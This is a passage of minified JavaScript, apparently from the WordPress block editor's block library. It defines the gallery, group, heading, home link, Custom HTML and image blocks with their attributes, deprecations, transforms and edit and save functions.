allery-caption"},imageCrop:{type:"boolean",default:!0},fixedHeight:{type:"boolean",default:!0},linkTarget:{type:"string"},linkTo:{type:"string"},sizeSlug:{type:"string",default:"large"},allowResize:{type:"boolean",default:!1}},providesContext:{allowResize:"allowResize",imageCrop:"imageCrop",fixedHeight:"fixedHeight"},supports:{anchor:!0,align:!0,html:!1,units:["px","em","rem","vh","vw"],spacing:{margin:!0,padding:!0,blockGap:["horizontal","vertical"],__experimentalSkipSerialization:["blockGap"],__experimentalDefaultControls:{blockGap:!0}},color:{text:!1,background:!0,gradients:!0},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,allowEditing:!1,default:{type:"flex"}}},editorStyle:"wp-block-gallery-editor",style:"wp-block-gallery"},{name:oc}=nc,ac={icon:Qi,example:{attributes:{columns:2},innerBlocks:[{name:"core/image",attributes:{url:"https://s.w.org/images/core/5.3/Glacial_lakes%2C_Bhutan.jpg"}},{name:"core/image",attributes:{url:"https://s.w.org/images/core/5.3/Sediment_off_the_Yucatan_Peninsula.jpg"}}]},transforms:tc,edit:Ys,save:function(e){let{attributes:t}=e;if(!es())return function(e){let{attributes:t}=e;const{images:n,columns:o=os(t),imageCrop:a,caption:r,linkTo:l}=t,i=`columns-${o} ${a?"is-cropped":""}`;return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:i}),(0,$e.createElement)("ul",{className:"blocks-gallery-grid"},n.map((e=>{let t;switch(l){case Fs:t=e.fullUrl||e.url;break;case Gs:t=e.link}const n=(0,$e.createElement)("img",{src:e.url,alt:e.alt,"data-id":e.id,"data-full-url":e.fullUrl,"data-link":e.link,className:e.id?`wp-image-${e.id}`:null});return(0,$e.createElement)("li",{key:e.id||e.url,className:"blocks-gallery-item"},(0,$e.createElement)("figure",null,t?(0,$e.createElement)("a",{href:t},n):n,!Ze.RichText.isEmpty(e.caption)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:at()("blocks-gallery-item",(0,Ze.__experimentalGetElementClassName)("caption")),value:e.caption})))}))),!Ze.RichText.isEmpty(r)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:at()("blocks-gallery-caption",(0,Ze.__experimentalGetElementClassName)("caption")),value:r}))}({attributes:t});const{caption:n,columns:o,imageCrop:a}=t,r=at()("has-nested-images",{[`columns-${o}`]:void 0!==o,"columns-default":void 0===o,"is-cropped":a}),l=Ze.useBlockProps.save({className:r}),i=Ze.useInnerBlocksProps.save(l);return(0,$e.createElement)("figure",i,i.children,!Ze.RichText.isEmpty(n)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:at()("blocks-gallery-caption",(0,Ze.__experimentalGetElementClassName)("caption")),value:n}))},deprecated:ds},rc=()=>qe({name:oc,metadata:nc,settings:ac}),lc=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z"})),ic=e=>{if(e.tagName||(e={...e,tagName:"div"}),!e.customTextColor&&!e.customBackgroundColor)return e;const t={color:{}};e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor);const{customTextColor:n,customBackgroundColor:o,...a}=e;return{...a,style:t}},sc=[{attributes:{tagName:{type:"string",default:"div"},templateLock:{type:"string"}},supports:{__experimentalOnEnter:!0,__experimentalSettings:!0,align:["wide","full"],anchor:!0,ariaLabel:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:["top","bottom"],padding:!0,blockGap:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalLayout:!0},save(e){let{attributes:{tagName:t}}=e;return(0,$e.createElement)(t,Ze.useInnerBlocksProps.save(Ze.useBlockProps.save()))},isEligible:e=>{let{layout:t}=e;return!t||t.inherit||t.contentSize},migrate:e=>{const{layout:t=null}=e;return t?t.inherit||t.contentSize?{...e,layout:{...t,type:"constrained"}}:void 0:e}},{attributes:{tagName:{type:"string",default:"div"},templateLock:{type:"string"}},supports:{align:["wide","full"],anchor:!0,color:{gradients:!0,link:!0},spacing:{padding:!0},__experimentalBorder:{radius:!0}},save(e){let{attributes:t}=e;const{tagName:n}=t;return(0,$e.createElement)(n,Ze.useBlockProps.save(),(0,$e.createElement)("div",{className:"wp-block-group__inner-container"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))}},{attributes:{backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1},migrate:ic,save(e){let{attributes:t}=e;const{backgroundColor:n,customBackgroundColor:o,textColor:a,customTextColor:r}=t,l=(0,Ze.getColorClassName)("background-color",n),i=(0,Ze.getColorClassName)("color",a),s=at()(l,i,{"has-text-color":a||r,"has-background":n||o}),c={backgroundColor:l?void 0:o,color:i?void 0:r};return(0,$e.createElement)("div",{className:s,style:c},(0,$e.createElement)("div",{className:"wp-block-group__inner-container"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))}},{attributes:{backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"}},migrate:ic,supports:{align:["wide","full"],anchor:!0,html:!1},save(e){let{attributes:t}=e;const{backgroundColor:n,customBackgroundColor:o,textColor:a,customTextColor:r}=t,l=(0,Ze.getColorClassName)("background-color",n),i=(0,Ze.getColorClassName)("color",a),s=at()(l,{"has-text-color":a||r,"has-background":n||o}),c={backgroundColor:l?void 0:o,color:i?void 0:r};return(0,$e.createElement)("div",{className:s,style:c},(0,$e.createElement)("div",{className:"wp-block-group__inner-container"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))}},{attributes:{backgroundColor:{type:"string"},customBackgroundColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1},migrate:ic,save(e){let{attributes:t}=e;const{backgroundColor:n,customBackgroundColor:o}=t,a=(0,Ze.getColorClassName)("background-color",n),r=at()(a,{"has-background":n||o}),l={backgroundColor:a?void 0:o};return(0,$e.createElement)("div",{className:r,style:l},(0,$e.createElement)(Ze.InnerBlocks.Content,null))}}],cc=sc,uc={header:(0,je.__)("The <header> element should represent introductory content, typically a group of introductory or navigational aids."),main:(0,je.__)("The <main> element should be used for the primary content of your document only. "),section:(0,je.__)("The <section> element should represent a standalone portion of the document that can't be better represented by another element."),article:(0,je.__)("The <article> element should represent a self contained, syndicatable portion of the document."),aside:(0,je.__)("The <aside> element should represent a portion of a document whose content is only indirectly related to the document's main content."),footer:(0,je.__)("The <footer> element should represent a footer for its nearest sectioning element (e.g.: <section>, <article>, <main> etc.).")},mc={from:[{type:"block",isMultiBlock:!0,blocks:["*"],__experimentalConvert(e){const t=["wide","full"],n=e.reduce(((e,n)=>{const{align:o}=n.attributes;return t.indexOf(o)>t.indexOf(e)?o:e}),void 0),o=e.map((e=>(0,Ge.createBlock)(e.name,e.attributes,e.innerBlocks)));return(0,Ge.createBlock)("core/group",{align:n,layout:{type:"constrained"}},o)}}],to:[{type:"block",blocks:["*"],transform:(e,t)=>t}]},dc=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M9.2 6.5H4V8h5.2c.3 0 .5.2.5.5v7c0 .3-.2.5-.5.5H4v1.5h5.2c1.1 0 2-.9 2-2v-7c0-1.1-.8-2-2-2zM14.8 8H20V6.5h-5.2c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2H20V16h-5.2c-.3 0-.5-.2-.5-.5v-7c-.1-.3.2-.5.5-.5z"})),pc=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M16 4v5.2c0 .3-.2.5-.5.5h-7c-.3.1-.5-.2-.5-.5V4H6.5v5.2c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V4H16zm-.5 8.8h-7c-1.1 0-2 .9-2 2V20H8v-5.2c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5V20h1.5v-5.2c0-1.2-.9-2-2-2z"})),gc=[{name:"group",title:(0,je.__)("Group"),description:(0,je.__)("Gather blocks in a container."),attributes:{layout:{type:"constrained"}},isDefault:!0,scope:["inserter","transform"],isActive:e=>{var t,n,o;return!e.layout||!(null!==(t=e.layout)&&void 0!==t&&t.type)||"default"===(null===(n=e.layout)||void 0===n?void 0:n.type)||"constrained"===(null===(o=e.layout)||void 0===o?void 0:o.type)},icon:lc},{name:"group-row",title:(0,je._x)("Row","single horizontal line"),description:(0,je.__)("Arrange blocks horizontally."),attributes:{layout:{type:"flex",flexWrap:"nowrap"}},scope:["inserter","transform"],isActive:e=>{var t,n,o;return!("flex"!==(null===(t=e.layout)||void 0===t?void 0:t.type)||null!==(n=e.layout)&&void 0!==n&&n.orientation&&"horizontal"!==(null===(o=e.layout)||void 0===o?void 0:o.orientation))},icon:dc},{name:"group-stack",title:(0,je.__)("Stack"),description:(0,je.__)("Arrange blocks vertically."),attributes:{layout:{type:"flex",orientation:"vertical"}},scope:["inserter","transform"],isActive:e=>{var t,n;return"flex"===(null===(t=e.layout)||void 0===t?void 0:t.type)&&"vertical"===(null===(n=e.layout)||void 0===n?void 0:n.orientation)},icon:pc}],hc=gc,vc={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/group",title:"Group",category:"design",description:"Gather blocks in a layout container.",keywords:["container","wrapper","row","section"],textdomain:"default",attributes:{tagName:{type:"string",default:"div"},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},supports:{__experimentalOnEnter:!0,__experimentalSettings:!0,align:["wide","full"],anchor:!0,ariaLabel:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:["top","bottom"],padding:!0,blockGap:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalLayout:!0},editorStyle:"wp-block-group-editor",style:"wp-block-group"},{name:bc}=vc,_c={icon:lc,example:{attributes:{style:{color:{text:"#000000",background:"#ffffff"}}},innerBlocks:[{name:"core/paragraph",attributes:{customTextColor:"#cf2e2e",fontSize:"large",content:(0,je.__)("One.")}},{name:"core/paragraph",attributes:{customTextColor:"#ff6900",fontSize:"large",content:(0,je.__)("Two.")}},{name:"core/paragraph",attributes:{customTextColor:"#fcb900",fontSize:"large",content:(0,je.__)("Three.")}},{name:"core/paragraph",attributes:{customTextColor:"#00d084",fontSize:"large",content:(0,je.__)("Four.")}},{name:"core/paragraph",attributes:{customTextColor:"#0693e3",fontSize:"large",content:(0,je.__)("Five.")}},{name:"core/paragraph",attributes:{customTextColor:"#9b51e0",fontSize:"large",content:(0,je.__)("Six.")}}]},transforms:mc,edit:function(e){let{attributes:t,setAttributes:n,clientId:o}=e;const{hasInnerBlocks:a,themeSupportsLayout:r}=(0,it.useSelect)((e=>{var t;const{getBlock:n,getSettings:a}=e(Ze.store),r=n(o);return{hasInnerBlocks:!(!r||!r.innerBlocks.length),themeSupportsLayout:null===(t=a())||void 0===t?void 0:t.supportsLayout}}),[o]),l=(0,Ze.useSetting)("layout")||{},{tagName:i="div",templateLock:s,layout:c={}}=t,u=null!=c&&c.type?{...l,...c}:{...l,...c,type:"default"},{type:m="default"}=u,d=r||"flex"===m,p=(0,Ze.useBlockProps)(),g=(0,Ze.useInnerBlocksProps)(d?p:{className:"wp-block-group__inner-container"},{templateLock:s,renderAppender:a?void 0:Ze.InnerBlocks.ButtonBlockAppender,__experimentalLayout:d?u:void 0});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("HTML element"),options:[{label:(0,je.__)("Default (<div>)"),value:"div"},{label:"<header>",value:"header"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"},{label:"<aside>",value:"aside"},{label:"<footer>",value:"footer"}],value:i,onChange:e=>n({tagName:e}),help:uc[i]})),d&&(0,$e.createElement)(i,g),!d&&(0,$e.createElement)(i,p,(0,$e.createElement)("div",g)))},save:function(e){let{attributes:{tagName:t}}=e;return(0,$e.createElement)(t,Ze.useInnerBlocksProps.save(Ze.useBlockProps.save()))},deprecated:cc,variations:hc},yc=()=>qe({name:bc,metadata:vc,settings:_c}),fc=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M6.2 5.2v13.4l5.8-4.8 5.8 4.8V5.2z"})),kc={className:!1,anchor:!0},xc={align:{type:"string"},content:{type:"string",source:"html",selector:"h1,h2,h3,h4,h5,h6",default:""},level:{type:"number",default:2},placeholder:{type:"string"}},wc=e=>{if(!e.customTextColor)return e;const t={color:{text:e.customTextColor}},{customTextColor:n,...o}=e;return{...o,style:t}},Ec=["left","right","center"],Cc=e=>{const{align:t,...n}=e;return Ec.includes(t)?{...n,textAlign:t}:e},Sc=[{supports:{align:["wide","full"],anchor:!0,className:!1,color:{link:!0},fontSize:!0,lineHeight:!0,__experimentalSelector:{"core/heading/h1":"h1","core/heading/h2":"h2","core/heading/h3":"h3","core/heading/h4":"h4","core/heading/h5":"h5","core/heading/h6":"h6"},__unstablePasteTextInline:!0},attributes:xc,isEligible:e=>{let{align:t}=e;return Ec.includes(t)},migrate:Cc,save(e){let{attributes:t}=e;const{align:n,content:o,level:a}=t,r="h"+a,l=at()({[`has-text-align-${n}`]:n});return(0,$e.createElement)(r,Ze.useBlockProps.save({className:l}),(0,$e.createElement)(Ze.RichText.Content,{value:o}))}},{supports:kc,attributes:{...xc,customTextColor:{type:"string"},textColor:{type:"string"}},migrate:e=>wc(Cc(e)),save(e){let{attributes:t}=e;const{align:n,content:o,customTextColor:a,level:r,textColor:l}=t,i="h"+r,s=(0,Ze.getColorClassName)("color",l),c=at()({[s]:s,"has-text-color":l||a,[`has-text-align-${n}`]:n});return(0,$e.createElement)(Ze.RichText.Content,{className:c||void 0,tagName:i,style:{color:s?void 0:a},value:o})}},{attributes:{...xc,customTextColor:{type:"string"},textColor:{type:"string"}},migrate:e=>wc(Cc(e)),save(e){let{attributes:t}=e;const{align:n,content:o,customTextColor:a,level:r,textColor:l}=t,i="h"+r,s=(0,Ze.getColorClassName)("color",l),c=at()({[s]:s,[`has-text-align-${n}`]:n});return(0,$e.createElement)(Ze.RichText.Content,{className:c||void 0,tagName:i,style:{color:s?void 0:a},value:o})},supports:kc},{supports:kc,attributes:{...xc,customTextColor:{type:"string"},textColor:{type:"string"}},migrate:e=>wc(Cc(e)),save(e){let{attributes:t}=e;const{align:n,level:o,content:a,textColor:r,customTextColor:l}=t,i="h"+o,s=(0,Ze.getColorClassName)("color",r),c=at()({[s]:s});return(0,$e.createElement)(Ze.RichText.Content,{className:c||void 0,tagName:i,style:{textAlign:n,color:s?void 0:l},value:a})}}],Bc=Sc;var Tc=n(4793),Nc=n.n(Tc);const Pc={},Ic=(e,t)=>{const n=(e=>Nc()((e=>{const t=document.createElement("div");return t.innerHTML=e,t.innerText})(e)).replace(/[^\p{L}\p{N}]+/gu,"-").toLowerCase().replace(/(^-+)|(-+$)/g,""))(t);if(""===n)return null;delete Pc[e];let o=n,a=0;for(;Object.values(Pc).includes(o);)a+=1,o=n+"-"+a;return o},zc=(e,t)=>{Pc[e]=t},{name:Mc}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/heading",title:"Heading",category:"text",description:"Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.",keywords:["title","subtitle"],textdomain:"default",attributes:{textAlign:{type:"string"},content:{type:"string",source:"html",selector:"h1,h2,h3,h4,h5,h6",default:"",__experimentalRole:"content"},level:{type:"number",default:2},placeholder:{type:"string"}},supports:{align:["wide","full"],anchor:!0,className:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0,textTransform:!0}},__experimentalSelector:"h1,h2,h3,h4,h5,h6",__unstablePasteTextInline:!0,__experimentalSlashInserter:!0},editorStyle:"wp-block-heading-editor",style:"wp-block-heading"},Lc={from:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>e.map((e=>{let{content:t,anchor:n,align:o}=e;return(0,Ge.createBlock)(Mc,{content:t,anchor:n,textAlign:o})}))},{type:"raw",selector:"h1,h2,h3,h4,h5,h6",schema:e=>{let{phrasingContentSchema:t,isPaste:n}=e;const o={children:t,attributes:n?[]:["style","id"]};return{h1:o,h2:o,h3:o,h4:o,h5:o,h6:o}},transform(e){const t=(0,Ge.getBlockAttributes)(Mc,e.outerHTML),{textAlign:n}=e.style||{};var o;return t.level=(o=e.nodeName,Number(o.substr(1))),"left"!==n&&"center"!==n&&"right"!==n||(t.align=n),(0,Ge.createBlock)(Mc,t)}},...[1,2,3,4,5,6].map((e=>({type:"prefix",prefix:Array(e+1).join("#"),transform:t=>(0,Ge.createBlock)(Mc,{level:e,content:t})}))),...[1,2,3,4,5,6].map((e=>({type:"enter",regExp:new RegExp(`^/(h|H)${e}$`),transform:t=>(0,Ge.createBlock)(Mc,{level:e,content:t})})))],to:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>e.map((e=>{let{content:t,textAlign:n}=e;return(0,Ge.createBlock)("core/paragraph",{content:t,align:n})}))}]},Rc=Lc,Ac={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/heading",title:"Heading",category:"text",description:"Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.",keywords:["title","subtitle"],textdomain:"default",attributes:{textAlign:{type:"string"},content:{type:"string",source:"html",selector:"h1,h2,h3,h4,h5,h6",default:"",__experimentalRole:"content"},level:{type:"number",default:2},placeholder:{type:"string"}},supports:{align:["wide","full"],anchor:!0,className:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0,textTransform:!0}},__experimentalSelector:"h1,h2,h3,h4,h5,h6",__unstablePasteTextInline:!0,__experimentalSlashInserter:!0},editorStyle:"wp-block-heading-editor",style:"wp-block-heading"},{name:Vc}=Ac,Hc={icon:fc,example:{attributes:{content:(0,je.__)("Code is Poetry"),level:2}},__experimentalLabel(e,t){let{context:n}=t;const{content:o,level:a}=e;return"list-view"===n&&o?o:"accessibility"===n?(0,St.isEmpty)(o)?(0,je.sprintf)(
/* translators: accessibility text. %s: heading level. */
(0,je.__)("Level %s. Empty."),a):(0,je.sprintf)(
/* translators: accessibility text. 1: heading level. 2: heading content. */
(0,je.__)("Level %1$s. %2$s"),a,o):void 0},transforms:Rc,deprecated:Bc,merge:(e,t)=>({content:(e.content||"")+(t.content||"")}),edit:function(e){let{attributes:t,setAttributes:n,mergeBlocks:o,onReplace:a,style:r,clientId:l}=e;const{textAlign:i,content:s,level:c,placeholder:u,anchor:m}=t,d="h"+c,p=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${i}`]:i}),style:r}),{canGenerateAnchors:g}=(0,it.useSelect)((e=>{const{getGlobalBlockCount:t,getSettings:n}=e(Ze.store);return{canGenerateAnchors:!!n().generateAnchors||t("core/table-of-contents")>0}}),[]),{__unstableMarkNextChangeAsNotPersistent:h}=(0,it.useDispatch)(Ze.store);return(0,$e.useEffect)((()=>{if(g)return!m&&s&&(h(),n({anchor:Ic(l,s)})),zc(l,m),()=>zc(l,null)}),[m,s,l,g]),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(ur,{selectedLevel:c,onChange:e=>n({level:e})}),(0,$e.createElement)(Ze.AlignmentControl,{value:i,onChange:e=>{n({textAlign:e})}})),(0,$e.createElement)(Ze.RichText,nt({identifier:"content",tagName:d,value:s,onChange:e=>{const t={content:e};!g||m&&e&&Ic(l,s)!==m||(t.anchor=Ic(l,e)),n(t)},onMerge:o,onSplit:(e,n)=>{let o;var a;return o=n||e?(0,Ge.createBlock)("core/heading",{...t,content:e}):(0,Ge.createBlock)(null!==(a=(0,Ge.getDefaultBlockName)())&&void 0!==a?a:"core/heading"),n&&(o.clientId=l),o},onReplace:a,onRemove:()=>a([]),"aria-label":(0,je.__)("Heading text"),placeholder:u||(0,je.__)("Heading"),textAlign:i},$e.Platform.isNative&&{deleteEnter:!0},p)))},save:function(e){let{attributes:t}=e;const{textAlign:n,content:o,level:a}=t,r="h"+a,l=at()({[`has-text-align-${n}`]:n});return(0,$e.createElement)(r,Ze.useBlockProps.save({className:l}),(0,$e.createElement)(Ze.RichText.Content,{value:o}))}},Dc=()=>qe({name:Vc,metadata:Ac,settings:Hc}),Fc=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z"})),Gc=e=>e.preventDefault(),$c={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/home-link",category:"design",parent:["core/navigation"],title:"Home Link",description:"Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","fontSize","customFontSize","style"],supports:{reusable:!1,html:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-home-link-editor",style:"wp-block-home-link"},{name:Uc}=$c,Oc={icon:Fc,edit:function(e){var t,n,o,a;let{attributes:r,setAttributes:l,context:i}=e;const{homeUrl:s}=(0,it.useSelect)((e=>{var t;const{getUnstableBase:n}=e(lt.store);return{homeUrl:null===(t=n())||void 0===t?void 0:t.home}}),[]),{__unstableMarkNextChangeAsNotPersistent:c}=(0,it.useDispatch)(Ze.store),{textColor:u,backgroundColor:m,style:d}=i,p=(0,Ze.useBlockProps)({className:at()("wp-block-navigation-item",{"has-text-color":!!u||!(null==d||null===(t=d.color)||void 0===t||!t.text),[`has-${u}-color`]:!!u,"has-background":!!m||!(null==d||null===(n=d.color)||void 0===n||!n.background),[`has-${m}-background-color`]:!!m}),style:{color:null==d||null===(o=d.color)||void 0===o?void 0:o.text,backgroundColor:null==d||null===(a=d.color)||void 0===a?void 0:a.background}}),{label:g}=r;return(0,$e.useEffect)((()=>{void 0===g&&(c(),l({label:(0,je.__)("Home")}))}),[g]),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("div",p,(0,$e.createElement)("a",{className:"wp-block-home-link__content wp-block-navigation-item__content",href:s,onClick:Gc},(0,$e.createElement)(Ze.RichText,{identifier:"label",className:"wp-block-home-link__label",value:g,onChange:e=>{l({label:e})},"aria-label":(0,je.__)("Home link text"),placeholder:(0,je.__)("Add home link"),withoutInteractiveFormatting:!0,allowedFormats:["core/bold","core/italic","core/image","core/strikethrough"]}))))},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)},example:{attributes:{label:(0,je._x)("Home Link","block example")}}},qc=()=>qe({name:Uc,metadata:$c,settings:Oc}),Wc=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M4.8 11.4H2.1V9H1v6h1.1v-2.6h2.7V15h1.1V9H4.8v2.4zm1.9-1.3h1.7V15h1.1v-4.9h1.7V9H6.7v1.1zM16.2 9l-1.5 2.7L13.3 9h-.9l-.8 6h1.1l.5-4 1.5 2.8 1.5-2.8.5 4h1.1L17 9h-.8zm3.8 5V9h-1.1v6h3.6v-1H20z"}));function jc(e){let{content:t,isSelected:n}=e;const o=(0,it.useSelect)((e=>{var t;return null===(t=e(Ze.store).getSettings())||void 0===t?void 0:t.styles}),[]),a=(0,$e.useMemo)((()=>["\n\thtml,body,:root {\n\t\tmargin: 0 !important;\n\t\tpadding: 0 !important;\n\t\toverflow: visible !important;\n\t\tmin-height: auto !important;\n\t}\n",...(0,Ze.transformStyles)(o)]),[o]);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.SandBox,{html:t,styles:a}),!n&&(0,$e.createElement)("div",{className:"block-library-html__preview-overlay"}))}const Zc={from:[{type:"block",blocks:["core/code"],transform:e=>{let{content:t}=e;return(0,Ge.createBlock)("core/html",{content:t})}}]},Qc={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/html",title:"Custom HTML",category:"widgets",description:"Add custom HTML code and preview it as you edit.",keywords:["embed"],textdomain:"default",attributes:{content:{type:"string",source:"html"}},supports:{customClassName:!1,className:!1,html:!1},editorStyle:"wp-block-html-editor"},{name:Kc}=Qc,Yc={icon:Wc,example:{attributes:{content:"<marquee>"+(0,je.__)("Welcome to the wonderful world of blocks…")+"</marquee>"}},edit:function(e){let{attributes:t,setAttributes:n,isSelected:o}=e;const[a,r]=(0,$e.useState)(),l=(0,$e.useContext)(We.Disabled.Context);return(0,$e.createElement)("div",(0,Ze.useBlockProps)({className:"block-library-html__edit"}),(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(We.ToolbarButton,{className:"components-tab-button",isPressed:!a,onClick:function(){r(!1)}},"HTML"),(0,$e.createElement)(We.ToolbarButton,{className:"components-tab-button",isPressed:a,onClick:function(){r(!0)}},(0,je.__)("Preview")))),a||l?(0,$e.createElement)(jc,{content:t.content,isSelected:o}):(0,$e.createElement)(Ze.PlainText,{value:t.content,onChange:e=>n({content:e}),placeholder:(0,je.__)("Write HTML…"),"aria-label":(0,je.__)("HTML")}))},save:function(e){let{attributes:t}=e;return(0,$e.createElement)($e.RawHTML,null,t.content)},transforms:Zc},Jc=()=>qe({name:Kc,metadata:Qc,settings:Yc}),Xc={align:{type:"string"},url:{type:"string",source:"attribute",selector:"img",attribute:"src"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"string",source:"html",selector:"figcaption"},title:{type:"string",source:"attribute",selector:"img",attribute:"title"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number"},width:{type:"number"},height:{type:"number"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},eu={anchor:!0,color:{__experimentalDuotone:"img",text:!1,background:!1},__experimentalBorder:{radius:!0,__experimentalDefaultControls:{radius:!0}}},tu=[{attributes:Xc,supports:eu,save(e){let{attributes:t}=e;const{url:n,alt:o,caption:a,align:r,href:l,rel:i,linkClass:s,width:c,height:u,id:m,linkTarget:d,sizeSlug:p,title:g}=t,h=(0,St.isEmpty)(i)?void 